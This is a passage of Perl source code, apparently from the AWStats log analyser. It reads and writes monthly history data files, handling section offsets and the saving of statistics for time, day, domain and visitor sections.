5867										} elsif ( $_ =~ /H/i ) {
5868											$_err_host_h{$code}{$field[0]} = $field[$fieldidx];
5869										}
5870										$fieldidx++;
5871									}
5872								}
5873							}
5874						}
5875						$_ = <HISTORY>;
5876						chomp $_;
5877						s/\r//;
5878						@field = split(
5879							/\s+/,
5880							(
5881								$readxml
5882								? XMLDecodeFromHisto($_)
5883								: $_
5884							)
5885						);
5886						$countlines++;
5887					  } until ( $field[0] eq "END_SIDER_$code"
5888						  || $field[0] eq "${xmleb}END_SIDER_$code"
5889						  || !$_ );
5890					if (   $field[0] ne "END_SIDER_$code"
5891						&& $field[0] ne "${xmleb}END_SIDER_$code" )
5892					{
5893						error(
5894"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5895							"", "", 1
5896						);
5897					}
5898					if ($Debug) {
5899						debug(
5900" End of SIDER_$code section ($count entries, $countloaded loaded)"
5901						);
5902					}
5903					delete $SectionsToLoad{"sider_$code"};
5904					if ( $SectionsToSave{"sider_$code"} ) {
5905						Save_History( "sider_$code", $year, $month, $date );
5906						delete $SectionsToSave{"sider_$code"};
5907						if ($withpurge) {
5908							%{$_sider_h{$code}} = ();
5909							%{$_referer_h{$code}} = ();
5910							%{$_err_host_h{$code}} = ();
5911						}
5912					}
5913					if ( !scalar %SectionsToLoad ) {
5914						debug(" Stop reading history file. Got all we need.");
5915						last;
5916					}
5917					next;
5918				}
5919			}
5920
5921			# BEGIN_EXTRA_xxx
5922			foreach my $extranum ( 1 .. @ExtraName - 1 ) {
5923				if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
5924					if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
5925					$field[0] = '';
5926					my $count       = 0;
5927					my $countloaded = 0;
5928					do {
5929						if ( $field[0] ne '' ) {
5930							$count++;
5931							if ( $SectionsToLoad{"extra_$extranum"} ) {
5932								if (   $ExtraStatTypes[$extranum] =~ /P/i
5933									&& $field[1] )
5934								{
5935									${ '_section_' . $extranum . '_p' }
5936									  { $field[0] } += $field[1];
5937								}
5938								${ '_section_' . $extranum . '_h' }
5939								  { $field[0] } += $field[2];
5940								if (   $ExtraStatTypes[$extranum] =~ /B/i
5941									&& $field[3] )
5942								{
5943									${ '_section_' . $extranum . '_k' }
5944									  { $field[0] } += $field[3];
5945								}
5946								if ( $ExtraStatTypes[$extranum] =~ /L/i
5947									&& !${ '_section_' . $extranum . '_l' }
5948									{ $field[0] }
5949									&& $field[4] )
5950								{
5951									${ '_section_' . $extranum . '_l' }
5952									  { $field[0] } = int( $field[4] );
5953								}
5954								$countloaded++;
5955							}
5956						}
5957						$_ = <HISTORY>;
5958						chomp $_;
5959						s/\r//;
5960						@field = split(
5961							/\s+/,
5962							(
5963								$readxml
5964								? XMLDecodeFromHisto($_)
5965								: $_
5966							)
5967						);
5968						$countlines++;
5969					  } until ( $field[0] eq "END_EXTRA_$extranum"
5970						  || $field[0] eq "${xmleb}END_EXTRA_$extranum"
5971						  || !$_ );
5972					if (   $field[0] ne "END_EXTRA_$extranum"
5973						&& $field[0] ne "${xmleb}END_EXTRA_$extranum" )
5974					{
5975						error(
5976"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5977							"", "", 1
5978						);
5979					}
5980					if ($Debug) {
5981						debug(
5982" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
5983						);
5984					}
5985					delete $SectionsToLoad{"extra_$extranum"};
5986					if ( $SectionsToSave{"extra_$extranum"} ) {
5987						Save_History( "extra_$extranum", $year, $month, $date );
5988						delete $SectionsToSave{"extra_$extranum"};
5989						if ($withpurge) {
5990							%{ '_section_' . $extranum . '_p' } = ();
5991							%{ '_section_' . $extranum . '_h' } = ();
5992							%{ '_section_' . $extranum . '_b' } = ();
5993							%{ '_section_' . $extranum . '_l' } = ();
5994						}
5995					}
5996					if ( !scalar %SectionsToLoad ) {
5997						debug(" Stop reading history file. Got all we need.");
5998						last;
5999					}
6000					next;
6001				}
6002			}
6003
6004			# BEGIN_PLUGINS
6005			if (   $AtLeastOneSectionPlugin
6006				&& $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
6007			{
6008				my $pluginname = $1;
6009				my $found      = 0;
6010				foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
6011					if ( $pluginname eq $_ ) {
6012
6013						# The plugin for this section was loaded
6014						$found = 1;
6015						my $issectiontoload =
6016						  $SectionsToLoad{"plugin_$pluginname"};
6017
6018#               		    my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
6019#               		    eval("$function");
6020						my $function = "SectionReadHistory_$pluginname";
6021						&$function( $issectiontoload, $readxml, $xmleb,
6022							$countlines );
6023						delete $SectionsToLoad{"plugin_$pluginname"};
6024						if ( $SectionsToSave{"plugin_$pluginname"} ) {
6025							Save_History( "plugin_$pluginname",
6026								$year, $month, $date );
6027							delete $SectionsToSave{"plugin_$pluginname"};
6028							if ($withpurge) {
6029
6030#                           		my $function="SectionInitHashArray_$pluginname()";
6031#                           		eval("$function");
6032								my $function =
6033								  "SectionInitHashArray_$pluginname";
6034								&$function();
6035							}
6036						}
6037						last;
6038					}
6039				}
6040				if ( !scalar %SectionsToLoad ) {
6041					debug(" Stop reading history file. Got all we need.");
6042					last;
6043				}
6044
6045				# The plugin for this section was not loaded
6046				if ( !$found ) {
6047					do {
6048						$_ = <HISTORY>;
6049						chomp $_;
6050						s/\r//;
6051						@field = split(
6052							/\s+/,
6053							(
6054								$readxml
6055								? XMLDecodeFromHisto($_)
6056								: $_
6057							)
6058						);
6059						$countlines++;
6060					  } until ( $field[0] eq "END_PLUGIN_$pluginname"
6061						  || $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
6062						  || !$_ );
6063				}
6064				next;
6065			}
6066
6067# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
6068			if ( $SectionsToLoad{'origin'} ) {
6069				if ( $field[0] eq 'HitFrom0' ) {
6070					$_from_p[0] += 0;
6071					$_from_h[0] += $field[1];
6072					next;
6073				}
6074				if ( $field[0] eq 'HitFrom1' ) {
6075					$_from_p[1] += 0;
6076					$_from_h[1] += $field[1];
6077					next;
6078				}
6079				if ( $field[0] eq 'HitFrom2' ) {
6080					$_from_p[2] += 0;
6081					$_from_h[2] += $field[1];
6082					next;
6083				}
6084				if ( $field[0] eq 'HitFrom3' ) {
6085					$_from_p[3] += 0;
6086					$_from_h[3] += $field[1];
6087					next;
6088				}
6089				if ( $field[0] eq 'HitFrom4' ) {
6090					$_from_p[4] += 0;
6091					$_from_h[4] += $field[1];
6092					next;
6093				}
6094				if ( $field[0] eq 'HitFrom5' ) {
6095					$_from_p[5] += 0;
6096					$_from_h[5] += $field[1];
6097					next;
6098				}
6099			}
6100		}
6101	}
6102
6103	if ($withupdate) {
6104
6105# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
6106# This can change some values for day, sider and session sections
6107		if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
6108		foreach ( keys %_waithost_e ) {
6109			if ($Debug) {
6110				debug( "  Visit in 'wait' array for $_ is a new visit", 4 );
6111			}
6112			my $newtimehosts =
6113			  ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
6114			my $newtimehostl =
6115			  ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
6116			$_url_e{ $_waithost_e{$_} }++;
6117			$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
6118			$DayVisits{$1}++;
6119			if ( $_waithost_s{$_} ) {
6120
6121				# There was also a second session in processed log
6122				$_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
6123			}
6124		}
6125	}
6126
6127# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
6128	if ($Debug) {
6129		debug(
6130			" Check and write all unwrote sections: "
6131			  . join( ',', keys %SectionsToSave ),
6132			2
6133		);
6134	}
6135	foreach my $key (
6136		sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
6137		keys %SectionsToSave
6138	  )
6139	{
6140		Save_History( "$key", $year, $month, $date, $lastlinenb,
6141			$lastlineoffset, $lastlinechecksum );
6142	}
6143	%SectionsToSave = ();
6144
6145# Update offset in map section and last data in general section then close files
6146	if ($withupdate) {
6147		if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
6148
6149		# Update offset of sections in the MAP section
6150		foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
6151		{
6152			if ($Debug) {
6153				debug(
6154" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
6155				);
6156			}
6157			if ( $PosInFile{"$_"} ) {
6158				seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
6159				print HISTORYTMP $ValueInFile{"$_"};
6160			}
6161		}
6162
6163		# Save last data in general sections
6164		if ($Debug) {
6165			debug(
6166" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
6167			);
6168		}
6169		seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
6170		print HISTORYTMP $MonthVisits{ $year . $month };
6171		if ($Debug) {
6172			debug(
6173" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
6174			);
6175		}
6176		seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
6177		print HISTORYTMP $MonthUnique{ $year . $month };
6178		if ($Debug) {
6179			debug(
6180" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
6181			);
6182		}
6183		seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
6184		print HISTORYTMP $MonthHostsKnown{ $year . $month };
6185		if ($Debug) {
6186			debug(
6187" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
6188			);
6189		}
6190		seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
6191		print HISTORYTMP $MonthHostsUnknown{ $year . $month };
6192		close(HISTORYTMP) || error("Failed to write temporary history file");
6193	}
6194	if ($withread) {
6195		close(HISTORY) || error("Command for pipe '$filetoread' failed");
6196	}
6197
6198	# Purge data
6199	if ($withpurge) { &Init_HashArray(); }
6200
6201	# If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
6202	if ($withupdate) {
6203		if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
6204			debug(
6205				"Rename tmp history file bis '$filetoread' to '$filetowrite'");
6206			if ( rename( $filetowrite, $filetoread ) == 0 ) {
6207				error("Failed to update tmp history file $filetoread");
6208			}
6209		}
6210		else {
6211			$HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
6212		}
6213
6214		if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
6215			$ListOfYears{"$year"} = "$month";
6216		}
6217	}
6218
6219	# For backward compatibility, if LastLine does not exist, set to LastTime
6220	$LastLine ||= $LastTime{$date};
6221
6222	return ( $withupdate ? "$filetowrite" : "" );
6223}
6224
6225#------------------------------------------------------------------------------
6226# Function:		Save a part of history file
6227# Parameters:	sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
6228# Input:		$VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
6229# Output:		None
6230# Return:		None
6231#------------------------------------------------------------------------------
6232sub Save_History {
6233	my $sectiontosave = shift || '';
6234	my $year          = shift || '';
6235	my $month         = shift || '';
6236	my $breakdate     = shift || '';
6237
6238	my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
6239	my (
6240		$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6241		$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6242	  )
6243	  = ( '', '', '', '', '', '', '', '', '', '', '' );
6244	if ($xml) {
6245		(
6246			$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6247			$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6248		  )
6249		  = (
6250			"</comment><nu>\n", '</nu><recnb>',
6251			'</recnb><table>',  '<tr><th>',
6252			'</th><th>',        '</th></tr>',
6253			'<tr><td>',         '</td><td>',
6254			'</td></tr>',       '</table><nu>',
6255			"\n</nu></section>"
6256		  );
6257	}
6258	else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
6259
6260	my $lastlinenb       = shift || 0;
6261	my $lastlineoffset   = shift || 0;
6262	my $lastlinechecksum = shift || 0;
6263	if ( !$lastlinenb ) {    # This happens for migrate
6264		$lastlinenb       = $LastLineNumber;
6265		$lastlineoffset   = $LastLineOffset;
6266		$lastlinechecksum = $LastLineChecksum;
6267	}
6268
6269	if ($Debug) {
6270		debug(
6271" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
6272			1
6273		);
6274	}
6275	my $spacebar      = "                    ";
6276	my %keysinkeylist = ();
6277
6278	# Header
6279	if ( $sectiontosave eq 'header' ) {
6280		if ($xml) { print HISTORYTMP "<version><lib>\n"; }
6281		print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
6282		if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
6283		print HISTORYTMP
6284"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
6285		print HISTORYTMP
6286		  "# Last config file used to build this data file was $FileConfig.\n";
6287		if ($xml) { print HISTORYTMP "</comment></version>\n"; }
6288		print HISTORYTMP "\n";
6289		if ($xml) {
6290			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6291		}
6292		print HISTORYTMP
6293"# Position (offset in bytes) in this file for beginning of each section for\n";
6294		print HISTORYTMP
6295"# direct I/O access. If you made changes somewhere in this file, you should\n";
6296		print HISTORYTMP
6297"# also remove completely the MAP section (AWStats will rewrite it at next\n";
6298		print HISTORYTMP "# update).\n";
6299		print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
6300		  . ( 27 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
6301			  ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
6302			  ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
6303		  . "${xmlbe}\n";
6304		print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
6305		$PosInFile{"general"} = tell HISTORYTMP;
6306		print HISTORYTMP "$spacebar${xmlre}\n";
6307
6308		# When
6309		print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
6310		$PosInFile{"time"} = tell HISTORYTMP;
6311		print HISTORYTMP "$spacebar${xmlre}\n";
6312		print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
6313		$PosInFile{"visitor"} = tell HISTORYTMP;
6314		print HISTORYTMP "$spacebar${xmlre}\n";
6315		print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
6316		$PosInFile{"day"} = tell HISTORYTMP;
6317		print HISTORYTMP "$spacebar${xmlre}\n";
6318
6319		# Who
6320		print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
6321		$PosInFile{"domain"} = tell HISTORYTMP;
6322		print HISTORYTMP "$spacebar${xmlre}\n";
6323		print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
6324		$PosInFile{"login"} = tell HISTORYTMP;
6325		print HISTORYTMP "$spacebar${xmlre}\n";
6326		print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
6327		$PosInFile{"robot"} = tell HISTORYTMP;
6328		print HISTORYTMP "$spacebar${xmlre}\n";
6329		print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
6330		$PosInFile{"worms"} = tell HISTORYTMP;
6331		print HISTORYTMP "$spacebar${xmlre}\n";
6332		print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
6333		$PosInFile{"emailsender"} = tell HISTORYTMP;
6334		print HISTORYTMP "$spacebar${xmlre}\n";
6335		print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
6336		$PosInFile{"emailreceiver"} = tell HISTORYTMP;
6337		print HISTORYTMP "$spacebar${xmlre}\n";
6338
6339		# Navigation
6340		print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
6341		$PosInFile{"session"} = tell HISTORYTMP;
6342		print HISTORYTMP "$spacebar${xmlre}\n";
6343		print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
6344		$PosInFile{"sider"} = tell HISTORYTMP;
6345		print HISTORYTMP "$spacebar${xmlre}\n";
6346		print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
6347		$PosInFile{"filetypes"} = tell HISTORYTMP;
6348		print HISTORYTMP "$spacebar${xmlre}\n";
6349		print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}";
6350		$PosInFile{'downloads'} = tell HISTORYTMP;
6351		print HISTORYTMP "$spacebar${xmlre}\n";
6352		print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
6353		$PosInFile{"os"} = tell HISTORYTMP;
6354		print HISTORYTMP "$spacebar${xmlre}\n";
6355		print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
6356		$PosInFile{"browser"} = tell HISTORYTMP;
6357		print HISTORYTMP "$spacebar${xmlre}\n";
6358		print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
6359		$PosInFile{"screensize"} = tell HISTORYTMP;
6360		print HISTORYTMP "$spacebar${xmlre}\n";
6361		print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
6362		$PosInFile{'unknownreferer'} = tell HISTORYTMP;
6363		print HISTORYTMP "$spacebar${xmlre}\n";
6364		print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
6365		$PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
6366		print HISTORYTMP "$spacebar${xmlre}\n";
6367
6368		# Referers
6369		print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
6370		$PosInFile{"origin"} = tell HISTORYTMP;
6371		print HISTORYTMP "$spacebar${xmlre}\n";
6372		print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
6373		$PosInFile{"sereferrals"} = tell HISTORYTMP;
6374		print HISTORYTMP "$spacebar${xmlre}\n";
6375		print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
6376		$PosInFile{"pagerefs"} = tell HISTORYTMP;
6377		print HISTORYTMP "$spacebar${xmlre}\n";
6378		print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
6379		$PosInFile{"searchwords"} = tell HISTORYTMP;
6380		print HISTORYTMP "$spacebar${xmlre}\n";
6381		print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
6382		$PosInFile{"keywords"} = tell HISTORYTMP;
6383		print HISTORYTMP "$spacebar${xmlre}\n";
6384
6385		# Others
6386		print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
6387		$PosInFile{"misc"} = tell HISTORYTMP;
6388		print HISTORYTMP "$spacebar${xmlre}\n";
6389		print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
6390		$PosInFile{"errors"} = tell HISTORYTMP;
6391		print HISTORYTMP "$spacebar${xmlre}\n";
6392		print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
6393		$PosInFile{"cluster"} = tell HISTORYTMP;
6394		print HISTORYTMP "$spacebar${xmlre}\n";
6395
6396		foreach ( keys %TrapInfosForHTTPErrorCodes ) {
6397			print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
6398			$PosInFile{"sider_$_"} = tell HISTORYTMP;
6399			print HISTORYTMP "$spacebar${xmlre}\n";
6400		}
6401		foreach ( 1 .. @ExtraName - 1 ) {
6402			print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
6403			$PosInFile{"extra_$_"} = tell HISTORYTMP;
6404			print HISTORYTMP "$spacebar${xmlre}\n";
6405		}
6406		foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
6407			print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
6408			$PosInFile{"plugin_$_"} = tell HISTORYTMP;
6409			print HISTORYTMP "$spacebar${xmlre}\n";
6410		}
6411		print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
6412	}
6413
6414	# General
6415	if ( $sectiontosave eq 'general' ) {
6416		$LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
6417		print HISTORYTMP "\n";
6418		if ($xml) {
6419			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6420		}
6421		print HISTORYTMP
6422"# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
6423		print HISTORYTMP
6424		  "# FirstTime   = Date of first visit for history file\n";
6425		print HISTORYTMP
6426		  "# LastTime    = Date of last visit for history file\n";
6427		print HISTORYTMP
6428"# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
6429		print HISTORYTMP "# TotalVisits = Number of visits\n";
6430		print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
6431		print HISTORYTMP "# MonthHostsKnown   = Number of hosts known\n";
6432		print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
6433		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6434		print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
6435		print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
6436		  . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
6437		  . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
6438		print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
6439		  . $FirstTime{$breakdate}
6440		  . "${xmlre}\n";
6441		print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
6442		  . $LastTime{$breakdate}
6443		  . "${xmlre}\n";
6444		print HISTORYTMP
6445"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
6446		print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
6447		$PosInFile{"TotalVisits"} = tell HISTORYTMP;
6448		print HISTORYTMP "$spacebar${xmlre}\n";
6449		print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
6450		$PosInFile{"TotalUnique"} = tell HISTORYTMP;
6451		print HISTORYTMP "$spacebar${xmlre}\n";
6452		print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
6453		$PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
6454		print HISTORYTMP "$spacebar${xmlre}\n";
6455		print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
6456		$PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
6457		print HISTORYTMP "$spacebar${xmlre}\n";
6458		print HISTORYTMP "${xmleb}"
6459		  . ( ${xmleb} ? "\n" : "" )
6460		  . "END_GENERAL${xmlee}\n"
6461		  ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
6462	}
6463
6464	# When
6465	if ( $sectiontosave eq 'time' ) {
6466		print HISTORYTMP "\n";
6467		if ($xml) {
6468			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6469		}
6470		print HISTORYTMP
6471"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
6472		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6473		print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
6474		for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
6475			print HISTORYTMP "${xmlrb}$ix${xmlrs}"
6476			  . int( $_time_p[$ix] )
6477			  . "${xmlrs}"
6478			  . int( $_time_h[$ix] )
6479			  . "${xmlrs}"
6480			  . int( $_time_k[$ix] )
6481			  . "${xmlrs}"
6482			  . int( $_time_nv_p[$ix] )
6483			  . "${xmlrs}"
6484			  . int( $_time_nv_h[$ix] )
6485			  . "${xmlrs}"
6486			  . int( $_time_nv_k[$ix] )
6487			  . "${xmlre}\n";
6488		}
6489		print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
6490	}
6491	if ( $sectiontosave eq 'day' )
6492	{    # This section must be saved after VISITOR section is read
6493		print HISTORYTMP "\n";
6494		if ($xml) {
6495			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6496		}
6497		print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
6498		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6499		print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
6500		  . ( scalar keys %DayHits )
6501		  . "${xmlbe}\n";
6502		my $monthvisits = 0;
6503		foreach ( sort keys %DayHits ) {
6504			if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
6505				my $page   = $DayPages{$_}  || 0;
6506				my $hits   = $DayHits{$_}   || 0;
6507				my $bytes  = $DayBytes{$_}  || 0;
6508				my $visits = $DayVisits{$_} || 0;
6509				print HISTORYTMP
6510"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
6511				$monthvisits += $visits;
6512			}
6513		}
6514		$MonthVisits{ $year . $month } = $monthvisits;
6515		print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
6516	}
6517
6518	# Who
6519	if ( $sectiontosave eq 'domain' ) {
6520		print HISTORYTMP "\n";
6521		if ($xml) {
6522			print HISTORYTMP
6523"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
6524		}
6525		print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
6526		print HISTORYTMP
6527"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
6528		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6529		print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
6530		  . ( scalar keys %_domener_h )
6531		  . "${xmlbe}\n";
6532
6533# We save page list in score sorted order to get a -output faster and with less use of memory.
6534		&BuildKeyList(
6535			$MaxNbOf{'Domain'}, $MinHit{'Domain'},
6536			\%_domener_h,       \%_domener_p
6537		);
6538		my %keysinkeylist = ();
6539		foreach (@keylist) {
6540			$keysinkeylist{$_} = 1;
6541			my $page = $_domener_p{$_} || 0;
6542			my $bytes = $_domener_k{$_}
6543			  || 0;    # ||0 could be commented to reduce history file size
6544			print HISTORYTMP
6545"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6546		}
6547		foreach ( keys %_domener_h ) {
6548			if ( $keysinkeylist{$_} ) { next; }
6549			my $page = $_domener_p{$_} || 0;
6550			my $bytes = $_domener_k{$_}
6551			  || 0;    # ||0 could be commented to reduce history file size
6552			print HISTORYTMP
6553"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6554		}
6555		print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
6556	}
6557	if ( $sectiontosave eq 'visitor' ) {
6558		print HISTORYTMP "\n";
6559		if ($xml) {
6560			print HISTORYTMP
6561"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
6562		}
6563		print HISTORYTMP
6564"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
6565		print HISTORYTMP
6566"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
6567		print HISTORYTMP
6568"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
6569		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6570		print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
6571		  . ( scalar keys %_host_h )
6572		  . "${xmlbe}\n";
6573		my $monthhostsknown = 0;
6574
6575# We save page list in score sorted order to get a -output faster and with less use of memory.
6576		&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
6577			\%_host_p );
6578		my %keysinkeylist = ();
6579		foreach my $key (@keylist) {
6580			if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6581				$monthhostsknown++;
6582			}
6583			$keysinkeylist{$key} = 1;
6584			my $page      = $_host_p{$key} || 0;
6585			my $bytes     = $_host_k{$key} || 0;
6586			my $timehostl = $_host_l{$key} || 0;
6587			my $timehosts = $_host_s{$key} || 0;
6588			my $lastpage  = $_host_u{$key} || '';
6589			if ( $timehostl && $timehosts && $lastpage ) {
6590
6591				if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6592
6593					# Session for this user is expired
6594					if ($timehosts) {
6595						$_session{ GetSessionRange( $timehosts, $timehostl ) }
6596						  ++;
6597					}
6598					if ($lastpage) { $_url_x{$lastpage}++; }
6599					delete $_host_s{$key};
6600					delete $_host_u{$key};
6601					print HISTORYTMP
6602"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6603				}
6604				else {
6605
6606					# If this user has started a new session that is not expired
